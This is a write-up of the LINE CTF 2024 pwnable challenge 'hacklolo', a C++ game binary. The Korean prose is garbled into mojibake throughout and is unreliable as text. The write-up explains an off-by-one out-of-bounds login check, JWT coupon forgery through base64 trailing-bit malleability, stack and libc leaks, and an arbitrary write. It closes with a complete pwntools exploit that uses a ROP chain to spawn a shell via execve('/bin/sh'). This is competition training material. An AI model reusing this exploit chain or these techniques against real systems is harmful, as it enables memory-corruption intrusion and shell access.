LINE CTF 2024 - hacklolo
๋ชฉ์ฐจ
LINE CTF 2024 pwnable challenge C++๋ก ๋ง๋ค์ด์ง ๋ฐ์ด๋๋ฆฌ๋ก ๋ถ์ํ๋๋ฐ์ ์๋นํ ๊น๋ค๋ก์ ๋ค. C++์์ ๋ฐ๋ผ์ ๋ฐ์ด๋๋ฆฌ ์คํ ์ ์ถ๋ ฅ๋๋ ๊ทธ๋ฐ๋ฐ ์ฌ์ค ๋ฐ๊ฟ ๋งํ๋ฉด ๋ง์ง๋ง ๋ฐ์ดํธ์ ๋ง์ง๋ง ๋ ๋นํธ์ JWS์ ๊ตฌํ ์ ๋ฐ์ํ๋ ๋ฌธ์ ๋ก ์ด๋ป๊ฒ ์จ๋จน์ ์ ์์์ง ๋ชจ๋ฅด๊ฒ ์ง๋ง ๋ค๋ฅธ ๊ณณ์์๋ ์ฌ์ฉํ ์ ์์ ๊ฒ ๊ฐ๋ค. ํ์ฌ ์ด๋ฅผ ์ด์ฉํด ์ด๋ฅผ ํตํด stack ์ฃผ์์ ๋ก๊ทธ์ธ์ ํ๋ฉด ์ด ์ค ๋ฌธ์ ๋ฅผ ํ ๋๋ ๋ค์ ๋จ๊ณ๋ก ๋์ด๊ฐ๊ธฐ ์ํด ์ผ๋จ ๊ฒ์์ ๊นผ๋๋ฐ ์ง๊ธ์ฒ๋ผ ๋จผ์ exploit ์๋๋ฆฌ์ค๋ฅผ ์ธ์์ ๋ชฉ์ ์ ๊ฐ์ง๊ณ ์งํํ๋ ์ต๊ด์ ๋ค์ฌ์ผ๊ฒ ๋ค. OOB ์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋ค๋ง ์์ ํ AAW๋ ์๋ ๊ฒ์ด ์๋ฌดํผ ๊ฒ์์ ๋๋ฅผ ๋ฐ๋ผ์ค๋ ์ด ๋ ๊ฐ์
์ ๋ฐ๊ธ๋๋ ๋ฌธ์ ๋ ์์ ํ AAW๋ฅผ ์ป๊ธฐ ์ํด ๋คํํ ๋ง์ง๋ง์ ์์ฑํ ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. ์ด์ ๊ฒ์์ ๊นจ์ผํ๋๋ฐ ์ฐจํ ๋๋ฒ๊น
์ ์ํด์๋ผ๋ ์๋ํ๋ฅผ ํ๋ ค๊ณ ํ๋๋ฐโฆ ์ฌ๊ธฐ์์ ANSI escape code๋ฅผ ์ฌ์ฉํ ์
์ถ๋ ฅ๋๋ฌธ์ ์์ฒญ ์ค๋๊ฑธ๋ ธ๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก๋ ์ด์ ๋ ๋ชจ๋ฅด๊ฒ ๋๋ฐ ์์ ํ ๋ฐฉ๋ฒ์ผ๋ก AAW๋ฅผ ์ป๋๋ค ์ณ๋ RIP๋ฅผ ์ด๋๋ก controlํ ์ง๊ฐ ๋ฌธ์ ์ด๋ค. ๋ฐ๋ผ์ libc leak์ด ํ์ํ๋ค๊ณ ํ๋จํ๊ณ , ์ถ๋ ฅ๋ถ๋ฅผ ํ์ธํด๋ณด๋ ๋ฐ๋ผ์ ๋ก๊ทธ์ธ์ ์ฑ๊ณต์์ผ ์ฃผ์ํ ๊ฒ์ C++์ด๋ผ์ ๊ทธ๋ฐ์ง ์ฌ์ฉํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ง์ glibc ์์ญ์ ์ ์ฐพ์ ๊ฐ์ ธ์์ผํ๋ค. ์ด์ stack ์ฃผ์๋ฅผ ์๊ณ ์์ผ๋ ๋ค๋ง ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด paylaod๋ฅผ ์์ฑํ๋ค. 0x00. Introduction
[*] '/home/user/hacklolo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structure
struct user_db // sizeof=0xD68
{
struct user user_list[32];
user *user_list_ptr;
_QWORD count;
_QWORD login_try;
_QWORD is_login;
char *welcome_ptr;
_QWORD welcome_size;
char welcome[8];
_QWORD canary;
user *current_user;
_QWORD login_success;
char *jwt_key;
_QWORD jwt_key_size;
_QWORD jwt_key_end;
};
struct user // sizeof=0x68
{
char *pw_ptr;
_QWORD pw_size;
char pw[8]; // or could be nothing
_QWORD end_pw;
char *id_ptr;
_QWORD id_size;
char id[8]; // or could be nothing
_QWORD end_id;
char *email_ptr;
_QWORD email_size;
char email[8]; // or could be nothing
_QWORD end_email;
_QWORD age;
};basic_string ๊ฐ์ฒด๊ฐ ๊ฐ์ง๋ ํน์ฑ ๋๋ฌธ์ธ์ง ๋ฌธ์์ด์ ๊ทธ๋ฅ ์ ์ฅํ์ง ์๊ณ id๋ฅผ ์๋ฅผ ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์ ์ฅํ๋ค.id_ptr : ๋ฌธ์์ด์ด ์ ์ฅ๋ ์ฃผ์id_size : ๋ฌธ์์ด์ ๊ธธ์ดid[8] : ๊ธธ์ด 8๊น์ง์ ๋ฌธ์์ด์ ์ฌ๊ธฐ์ ์ ์ฅํ๊ณ ๋ ๊ธด ๋ฌธ์์ด์ ๋ค๋ฅธ ์์ญ์ ํ ๋น๋ฐ์ ์ ์ฅid_end : ์ฐ์ด์ง ์๋ ์์ญ์ผ๋ก chunk ๊ด๋ จ ๋ฐ์ดํฐ๋ก ์ถ์ 0x01. Vulnerability
Improper Check
__int64 __fastcall login_790E(user_db *user_db)
{
...
for ( i = 0; i <= 32; ++i )
{
a2_20_23596(id, &user_db->user_list[i]);
id_same = strncmp_1043E(id, id_input);
std::string::~string(id);
if ( id_same )
{
a2_0_235C8(pw, &user_db->user_list[i]);
pw_same = strncmp_1043E(pw, pw_input);
std::string::~string(pw);
if ( pw_same )
{
user_db->current_user = &user_db->user_list[i];
a2_20_23596(v15, &user_db->user_list[i]);
sub_F7F3(id, "[*] Login Success. Hello, ", v15);
...
}
}
}
...
}used_db์๋ ์ด 32๊ฐ์ user๋ฅผ ์ ์ฅํ ์ ์๋ ๊ณต๊ฐ์ด ์๋๋ฐ login_790E()์์ user๋ฅผ ํ์ธํ๋ ๋ฒ์๋ 33๊ฐ์ด๋ค. ๋๋ฌธ์ user_list[32] ์ดํ ์์ญ์ด ๋ ํ๋์ user๋ก ์ธ์๋๋ฉฐ ๋ค์๊ณผ ๊ฐ์ด ์์ญ์ด ๊ฒน์ณ์ง๋ค.after user_listuseruser *user_list_ptr char *pw_ptr _QWORD count _QWORD pw_size _QWORD login_try char pw[8] _QWORD is_login _QWORD end_pw char *welcome_ptr char *id_ptr _QWORD welcome_size _QWORD id_size char welcome[8] char id[8] _QWORD canary _QWORD end_id user *current_user char *email_ptr _QWORD login_success _QWORD email_size char *jwt_key char email[8] _QWORD jwt_key_size _QWORD end_email _QWORD jwt_key_end "Welcome!"์ด id์ธ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ๋ค. JWT Counterfeit
join์ ์์ฑ๋๋ coupon์ HS256์ผ๋ก ์์ฑํ JWT ๊ฐ์ผ๋ก, siganture ๋ถ๋ถ์ HMAC-SHA256์ ์ด์ฉํด ์์ฑ๋๋ค. ์ด ๋ ์ถ๋ ฅ๊ฐ์ด 256๋นํธ(32๋ฐ์ดํธ)์ด๊ณ ์ด ๊ฐ์ base64URL์ผ๋ก ์ธ์ฝ๋ฉํ๋ค. ์ธ์ฝ๋ฉ ๊ณผ์ ์์ base64๊ฐ 3๋ฐ์ดํธ ๋จ์๋ก ์ธ์ฝ๋ฉ์ ํ๋ฏ๋ก padding(=)์ด ๋ถ๊ฒ ๋๋ค.
= ๋ฟ๋ง ์๋๋ผ ๋ง์ง๋ง ๋ฐ์ดํธ์ ๋ง์ง๋ง ๋ ๋นํธ๊น์ง 00์ผ๋ก padding์ด ๋ถ๋๋ค. ๋ฐ๋ผ์ ๋์ฝ๋ฉ ๊ณผ์ ์์ ๋ง์ง๋ง ๋ฐ์ดํธ์ ๋ง์ง๋ง ๋ ๋นํธ๋ ์๋ณธ ๋ฐ์ดํฐ์ ์ํฅ์ ๋ฏธ์น์ง ๋ชปํ๋ค.00, 01, 10, 11 ๋ท ์ค ์๋ฌด๊ฑฐ๋ ๋ค์ด๊ฐ๋ ๊ฐ์ ๊ฐ์ผ๋ก ๋์ฝ๋ฉ๋๋ค. ๋์ฝ๋ฉ ๊ฐ์ด ๊ฐ๋ค๋ฉด coupon ๊ฐ์์ ํ ๋นํธ์ฉ ๊ฐ์ ์ฆ๊ฐ์์ผ๋ ์๋ช
๊ฒ์ฆ์ ํต๊ณผํ๊ธฐ ๋๋ฌธ์ ์ฌ๋ฌ๋ฒ coupon์ ๋ฑ๋กํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. 0x02. Exploit
Memory Leak
user_db->user_list[32] ์ดํ์ ์์ญ(Welcome! ๊ณ์ )์ ๋ฉ๋ชจ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.# Welcome!
gefโค x/13gx $rbp-0xa0
0x7fffffffec60: 0x00007fffffffdf60 0x0000000000000001
0x7fffffffec70: 0x0000000000000000 0x0000000000000000
0x7fffffffec80: 0x00007fffffffec90 0x0000000000000008
0x7fffffffec90: 0x21656d6f636c6557 0xc8647733c17b4d00
0x7fffffffeca0: 0x00007ffff77d7ce0 0x0000000000000000
0x7fffffffecb0: 0x00005555555a5f80 0x0000000000000020
0x7fffffffecc0: 0x000000000000003cpw_ptr๋ฅผ ์๋ฏธํ๋ ์์ญ์๋ user_list์ ์์ ์ฃผ์์ธ 0x7fffffffdf60๊ฐ ๋ด๊ฒจ์๊ณ , pw_size๋ฅผ ์๋ฏธํ๋ ์์ญ์๋ ๊ณ์ ์ ๊ฐ์๋ฅผ ์๋ฏธํ๋ count๊ฐ ๋ด๊ฒจ์๋ค.count๋ main() ์ด๋ฐ๋ถ์ ํธ์ถ๋๋ setup_admin_7D3A()์์ admin ๊ณ์ ์ ์ถ๊ฐํ๋ฉด์ 1์ด ๋์ด์๋ค. ๋ฐ๋ผ์ Welcome! ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ 0x7fffffffdf60์ ์ ์ฅ๋ 1๋ฐ์ดํธ์ด๋ค.user๋ฅผ ๋๋ ค๊ฐ๋ฉฐ 1๋ฐ์ดํธ์ฉ ๋น๋ฐ๋ฒํธ๋ฅผ brute forcingํ์ฌ memory leak์ด ๊ฐ๋ฅํ๋ค.# admin
gefโค x/13gx $rbp-0xda0
0x7fffffffdf60: 0x00007fffffffdf70 0x0000000000000008
0x7fffffffdf70: 0x6e374f7175585a68 0x0000000000000300
0x7fffffffdf80: 0x00007fffffffdf90 0x0000000000000005
0x7fffffffdf90: 0x0000006e696d6461 0x00000000001e3e30
0x7fffffffdfa0: 0x00005555555a5ed0 0x0000000000000012
0x7fffffffdfb0: 0x000000000000001e 0x000000000000001c
0x7fffffffdfc0: 0x00000000000000220x7fffffffdf60์ ๋ค์ ๋งํ๋ฉด user_list[0]์ด๊ณ ์ต์ด์ ๊ณ์ ์ธ admin์ ์ ๋ณด๊ฐ ์ ์ฅ๋์ด์๋ค. count๋ ์ต๋ 32๊น์ง ์ฆ๊ฐ์ํฌ ์ ์์ผ๋ฏ๋ก ์ต๋ 32๋ฐ์ดํธ๊น์ง leak์ด ๊ฐ๋ฅํ์ง๋ง, ๋ง์ง๋ง 8๋ฐ์ดํธ๋ basic_string์ ๊ธฐํ ๋ฐ์ดํฐ์ด๋ฏ๋ก ์ด 26๋ฐ์ดํธ๋ง leak์ ์๋ํ๋ค.admin์ pw๋ฅผ ํ๋ํ ์ ์๋ค.def memory_leak(s):
hit = bytes()
for i in range(0x1a):
for j in range(0x100):
if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
continue
r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
if b"Login Success" in r:
hit += j.to_bytes(1, 'little')
sys.stdout.write(f"\rhit : {hit}")
sys.stdout.flush()
break
logout(s)
it = str(i + 1).encode()
join(s, it, it, it, i + 1)
sys.stdout.write(f"\n")
return hit\t, \n ๋ฑ์ ์๋ฏธํ๋ ๊ฐ๋ค์ ์
์ถ๋ ฅ์ leak์ด ๋ถ๊ฐ๋ฅํ์ง๋ง ์์ฃผ ๋ฐ์ํ๋ ๋ฌธ์ ๋ ์๋ ๊ฒ ๊ฐ๋ค. Win Game
Play Game, Apply Coupon, Coupon usage history, Change PW, Print Information์ค ํ๋๋ฅผ ํ ์ ์๋ค.Change PW์ Print Information์ Play Game์์ ๋ณด์ค๋ฅผ ์ฐ๋ฌ๋จ๋ฆฌ๊ณ regular member๊ฐ ๋์ด์ผ ์ฌ์ฉํ ์ ์๋ ๋ฉ๋ด์ด๋ค.Welcome! ๊ณ์ ์ผ๋ก ๊ฒ์์ ๊นจ๊ณ Change PW๋ฅผ ํธ์ถํ๋ฉด pw_ptr์ด ๊ฐ๋ฆฌํค๋ ๊ณณ์ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์๋ค. Welcome!->pw_ptr์ admin->pw_ptr์ด ์ ์ฅ๋ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์์ผ๋ฏ๋ก, admin->pw_ptr์ ์ํ๋ ์ฃผ์๋ก ๋ฐ๊ฟ๋๊ณ admin์ผ๋ก ๋ก๊ทธ์ธํด์ ๋ค์ Change PW๋ฅผ ํธ์ถํ๋ฉด ์์ ์ค์ ํ ์ํ๋ ์ฃผ์์ ๋ฐ์ดํฐ๋ฅผ ์ธ ์ ์๋ AAW๋ฅผ ํ๋ํ ์ ์๋ค.admin->pw_ptr์ ๋ฐ๊พธ๋ ์๊ฐ admin์ผ๋ก ๋ก๊ทธ์ธ์ ํ๊ธฐ ์ํด ํ์ํ ๋น๋ฐ๋ฒํธ๊ฐ ๋ฐ๋๋ค. ๋ฐ๋ผ์ ๋ฐ์ดํฐ๋ฅผ ์ธ ์ฃผ์์ ์ ์ฅ๋ ๊ฐ์ ์๊ณ ์์ด์ผ ํ๋๋ฐ, ์ง๊ธ ์๊ฐํด๋ณด๋ Welcome!์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊ฟ ๋ admin->pw_size๊น์ง 1๋ก ๋ฐ๊ฟ์ brute forcing์ ํด๋ ๊ด์ฐฎ์ ๊ฒ ๊ฐ๋ค.Enemy๋ฅผ ํผํด Item์ ํ๋ํด์ Attack๊ณผ Defense๋ฅผ ์ฌ๋ฆฐ ๋ค Enemy์ ์ธ์์ผ ํ๋๋ฐ Item์ ๋ค ๋จน์ด๋ Enemy๋ฅผ ์ด๊ธธ ์ ์๋ค.coupon์ ์ด์ฉํ๋ฉด Attack์ด ๋ ๋ฐฐ๊ฐ ๋๋ฏ๋ก JWT counterfeit ์ทจ์ฝ์ ์ ์ด์ฉํด ์ด ๋ค๊ฐ์ coupon์ ์ด์ฉํ๋ฉด Enemy๋ฅผ ์ด๊ธธ ์ ์๋ค.Welcome! ๊ณ์ ์ด regular member๊ฐ ๋์ด์ผํ๋๋ฐ Welcome! ๊ณ์ ์ ๊ฐ์
๋ ๊ณ์ ์ด ์๋๋ค๋ณด๋ ๋ฐ๊ธ๋ coupon์ด ์๋ค.__int64 __fastcall join_8A4A(user_db *user_db)
{
...
if ( user_db->count <= 31 )
{
...
for ( i = 0; i < user_db->count; ++i )
{
a2_20_23596(id_i, &user_db->user_list[i]);
id_same = strncmp_1043E(id_i, id);
std::string::~string(id_i);
if ( id_same )
{
std::operator<<<std::char_traits<char>>(&std::cout, "[*] The ID already exists.\r");
std::ostream::operator<<();
result = -1;
goto LABEL_13;
}
}
...
}
}join_8A4A()์ ๋ณด๋ฉด id๊ฐ ์ค๋ณต๋์๋์ง๋ฅผ user_list๋ฅผ count๊น์ง๋ง ๋๋ฉด์ ํ์ธํ๊ธฐ ๋๋ฌธ์ Welcome!์ด๋ผ๋ ๊ณ์ ์ ์์ฑํ ์ ์๋ค. ๋ํ login_790E()์์๋ id๋ง ๋ง๊ณ pw๊ฐ ๋ค๋ฅผ ๊ฒฝ์ฐ ๊ทธ๋ฅ ๋ค์ ๋ฃจํ๋ก ๋์ด๊ฐ๊ธฐ ๋๋ฌธ์ ๊ฐ์
์ดํ์๋ 33๋ฒ์งธ Welcome! ๊ณ์ ์ ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ๋ค.Welcome! ๊ณ์ ์ coupon์ 33๋ฒ์งธ Welcome! ๊ณ์ ์ด ์ฌ์ฉํ ์ ์๋๊ฐ์ธ๋ฐ ๋๋ฒ๊ฑฐ์์ secret key๋ฅผ ํ์ธํด jwt.io์์ ๋ด์ฉ์ ํ์ธํ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด userid๊ฐ ๊ฐ๊ธฐ ๋๋ฌธ์ 33๋ฒ์งธ Welcome! ๊ณ์ ์์ coupon์ ์ฌ์ฉํ ์ ์์๋ค.
# join fake "Welcome!"
r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
log.info(f"coupon : {coupon}")
login(s, b"Welcome!", ml + b"\x00\x00")
# counterfeit coupon
if not apply_coupon_quadra(s, coupon):
log.failure(f"bad coupon :(")
exit()pyte๋ผ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํด์ map ์ ๋ณด๋ฅผ ํ์ฑํด์๊ณ , Item์ ๋จน๋ ์๊ณ ๋ฆฌ์ฆ์ ์ข์๊ฒ ๋ ์ค๋ฅด์ง ์์ ๋ค์๊ณผ ๊ฐ์ ๋จ์ํ ๋ฐฉ์์ ์ฌ์ฉํ๋ค.Enemy์ ํ ์นธ ์ฐจ์ด๊ฐ ๋๋๋ก ์๋ก ์ด๋(0, 0)(0, 16)Item์ด ์๋ column์ผ๋ก ์ด๋ - (n, 16)(n, 0)Item์ ๋ค ๋จน์์ผ๋ฉด 7๋ฒ, ๋จ์์ผ๋ฉด 2๋ฒEnemy์ ์ ํฌ(0, 16)์ ๊ฐ๋ฉด ๋์ ํ๋ฅ ๋ก Enemy์ ๋ ์นธ ์ฐจ์ด๊ฐ ๋๊ฒ ๋์ด Item์ column์ ๋ณด๊ณ ๋๋ฌด ๊ฐ๊น์ด ๊ณณ์ ์์ผ๋ฉด ๊ทธ๋ฅ ๊ฒ์์ ์ฌ์์ํ๋๊ฒ ๋นจ๋ผ ํด๋น ์ฝ๋๋ฅผ ์ถ๊ฐํ๋ค. Libc Leak
Print Information์ด ์์๋ค. ์ฌ๊ธฐ์์ email์ ์ถ๋ ฅํด์ฃผ๋๋ฐ email_size๊ฐ Welcome!->login_success ์์ญ๊ณผ ๊ฒน์น๋ค.login_success ๊ฐ์ ๋๋ฆฌ๋ฉด memory leak์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ํ๋จํ๋ค. logout(s)
for _ in range(0xa0):
login(s, b"Welcome!", b"Welcome@")
logout(s)
login(s, b"Welcome!", ml + b"\x00\x00")
r = print_info(s)
libc = u64(r[0xcc:0xd4])
lib.address = libc - 0x29d90
log.info(f"libc : {hex(lib.address)}") RIP Control
main()์ return address๋ฅผ ๋ฎ์ด์ ROP ๊ฐ์ ฏ๋ค์ ์คํํ ๋ค execve๋ฅผ ์คํํ๊ฒ๋ payload๋ฅผ ์์ฑํ๋ค.main() ์ข
๋ฃ ์ง์ ์ ํธ์ถ๋๋ free_db_24FBA()์์ ๊ฐ user ์ ๋ณด๋ค์ ์ ์ฅํ ๊ฐ์ฒด๋ค์ ํด์ ํ๊ธฐ ๋๋ฌธ์ AAW๋ฅผ ์ํด ๋ฐ๊ฟ๋ admin->pw_ptr์ ์๋ณต์์ผ์ผ ํ๋ค.__int64 __fastcall free_db_24FBA(__int64 user_db)
{
...
if ( user_db )
{
for ( i = user_db + 0xD00; ; free_strings_F406(i) )
{
result = user_db;
if ( i == user_db )
break;
i -= 0x68LL;
}
}
return result;
} # change admin->pw to point return address of main
ret = stack + 0xd98
change_pw(s, p64(ret) + p64(0x8))
# overwrite return address
logout(s)
pop_rdi_ret = lib.address + 0x2a3e5
pop_rsi_ret = lib.address + 0x2be51
pop_rdx_rbx_ret = lib.address + 0x904a9
payload = p64(pop_rdi_ret)
payload += p64(next(lib.search(b"/bin/sh")))
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_rbx_ret)
payload += p64(0)
payload += p64(0)
payload += p64(lib.symbols["execve"])
login(s, b"admin", p64(libc))
change_pw(s, payload)
# restore admin->pw
logout(s)
login(s, b"Welcome!", p64(ret) + p64(len(payload)))
change_pw(s, p64(stack) + p64(0x8)) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
import sys
import pyte
BINARY = "game"
LIBRARY = "libc.so.6"
CONTAINER = "7e8bfb970414"
def join(s, id, pw, email, age):
s.sendline(b"1")
s.sendlineafter(b"Id:\r\n", id)
s.sendlineafter(b"Pw:\r\n", pw)
s.sendlineafter(b"Email:\r\n", email)
s.sendlineafter(b"Age:\r\n", str(age).encode())
return s.recvuntil(b"Choice : \r\n")
def login(s, id, pw):
s.sendline(b"2")
s.sendlineafter(b"id:\r\n", id)
s.sendlineafter(b"pw:\r\n", pw)
return s.recvuntil(b"Choice : \r\n")
def quit_(s):
s.sendline(b"3")
return s.recvuntil(b"quit\r\n")
def logout(s):
return s.sendlinethen(b"Choice : \r\n", b"1")
def play_game(s):
s.sendline(b"2")
def apply_coupon(s, coupon):
s.sendline(b"3")
s.sendlineafter(b"coupon : \r\n", coupon)
r = s.recvuntil(b"Choice : \r\n")
if r.find(b"successfully") > -1:
log.success(f"coupon use success")
return True
else:
log.failure(f"something wrong with {coupon}")
return False
def usage_history(s):
s.sendline(b"4")
return s.recvuntil(b"Choice : \r\n")
def change_pw(s, pw):
s.sendline(b"5")
s.sendlineafter(b"PW? : \r\n", b"y")
s.sendlineafter(b"PW : \r\n", pw)
return s.recvuntil(b"Choice : \r\n")
def print_info(s):
s.sendline(b"6")
return s.recvuntil(b"Choice : \r\n")
def memory_leak(s):
hit = bytes()
for i in range(0x1a):
for j in range(0x100):
if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
continue
r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
if b"Login Success" in r:
hit += j.to_bytes(1, 'little')
sys.stdout.write(f"\rhit : {hit}")
sys.stdout.flush()
break
logout(s)
it = str(i + 1).encode()
join(s, it, it, it, i + 1)
sys.stdout.write(f"\n")
return hit
def apply_coupon_quadra(s, coupon):
apply_coupon(s, coupon)
coupon_dup = coupon[:-1] + chr(coupon[-1] + 1).encode()
apply_coupon(s, coupon_dup)
coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
apply_coupon(s, coupon_dup)
coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
r = apply_coupon(s, coupon_dup)
return r
def parse_map(data, p=0):
# ํฐ๋ฏธ๋ ํฌ๊ธฐ ์ค์ (24ํ, 80์ด ๋ฑ์ผ๋ก ์ค์ )
screen = pyte.Screen(80, 24)
stream = pyte.Stream(screen)
stream.feed(data.decode('utf-8'))
# ํ๋ฉด ์ถ๋ ฅ ํ์ฑ ํ 'I', 'O', 'E' ์์น ์ฐพ๊ธฐ
positions = {'I': [], 'O': [], 'E': []}
for row_num, row in enumerate(screen.display, start=1):
if row_num < 4:
continue
for col_num, char in enumerate(row, start=1):
if char in positions:
positions[char].append((row_num, col_num))
if p == 1:
for line in screen.display:
print(line)
print(positions)
return positions
def move(s, direction):
for d in direction:
s.send(d.encode())
s.recvuntil(b"||")
try:
r = s.recvuntil(b"||", timeout=3)
except TimeoutError:
log.failure(f"game lost :(")
exit()
return r
def win_game(s):
while 1:
s.sendline(b"2")
r = s.recvuntil(b"||")
positions = parse_map(r)
item_col = sorted(set([item[1] for item in positions['I']]))
log.info(f"items located in col {item_col}")
# die if too close
die = 0
if item_col[0] < 10:
log.info("I would rather kill myself...")
die = 1
while r := move(s, 'f'):
if b"Game Over!" in r:
s.send(b"\n")
break
if die:
continue
# go to 0, 0
direction = 'w' * 6
direction += 's' * 8
direction += 'a' * 30
r = move(s, direction)
parse_map(r)
# farm items
for c in item_col:
log.info(f"farming item in col {c}")
direction = 'w' * 16
direction += 'd' * (c - 2)
direction += 's' * 16
direction += 'a' * (c - 2)
r = move(s, direction)
parse_map(r)
# fight!
while r := move(s, 'f'):
if b"Game Over!" in r:
s.send(b"\n")
return s.recvuntil(b" : \r\n")
code_base = 0x555555554000
bp = {
'login_switch_main' : code_base + 0x24145,
'join' : code_base + 0x8A4A,
'free_join' : code_base + 0x8F44,
'login' : code_base + 0x23FFE,
'after_login' : code_base + 0x240D2,
'ret_main' : code_base + 0x24A1D,
}
gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main(server, port, debug):
if(port):
s = remote(server, port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY)
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(b"Choice : \r\n").decode()
# memory leak using OOB
ml = memory_leak(s)
stack = u64(ml[0:8])
admin_pw = ml[0x10:0x18]
log.info(f"stack : {hex(stack)}")
log.info(f"admin pw : {admin_pw.decode()}")
# join fake "Welcome!"
r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
log.info(f"coupon : {coupon}")
login(s, b"Welcome!", ml + b"\x00\x00")
# counterfeit coupon
if not apply_coupon_quadra(s, coupon):
log.failure(f"bad coupon :(")
exit()
# win game to be regular member
if b"regular member" not in win_game(s):
log.failure(f"game lost :(")
exit()
log.success(f"game win!")
s.sendlinethen(b"Choice : \r\n", b'y')
# libc leak by increasing login_success(email_size)
logout(s)
for _ in range(0xa0):
login(s, b"Welcome!", b"Welcome@")
logout(s)
login(s, b"Welcome!", ml + b"\x00\x00")
r = print_info(s)
libc = u64(r[0xcc:0xd4])
lib.address = libc - 0x29d90
log.info(f"libc : {hex(lib.address)}")
# change admin->pw to point return address of main
ret = stack + 0xd98
change_pw(s, p64(ret) + p64(0x8))
# overwrite return address
logout(s)
pop_rdi_ret = lib.address + 0x2a3e5
pop_rsi_ret = lib.address + 0x2be51
pop_rdx_rbx_ret = lib.address + 0x904a9
payload = p64(pop_rdi_ret)
payload += p64(next(lib.search(b"/bin/sh")))
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_rbx_ret)
payload += p64(0)
payload += p64(0)
payload += p64(lib.symbols["execve"])
login(s, b"admin", p64(libc))
change_pw(s, payload)
# restore admin->pw
logout(s)
login(s, b"Welcome!", p64(ret) + p64(len(payload)))
change_pw(s, p64(stack) + p64(0x8))
# trigger ret in main
logout(s)
quit_(s)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
args = parser.parse_args()
main(args.server, args.port, args.debug)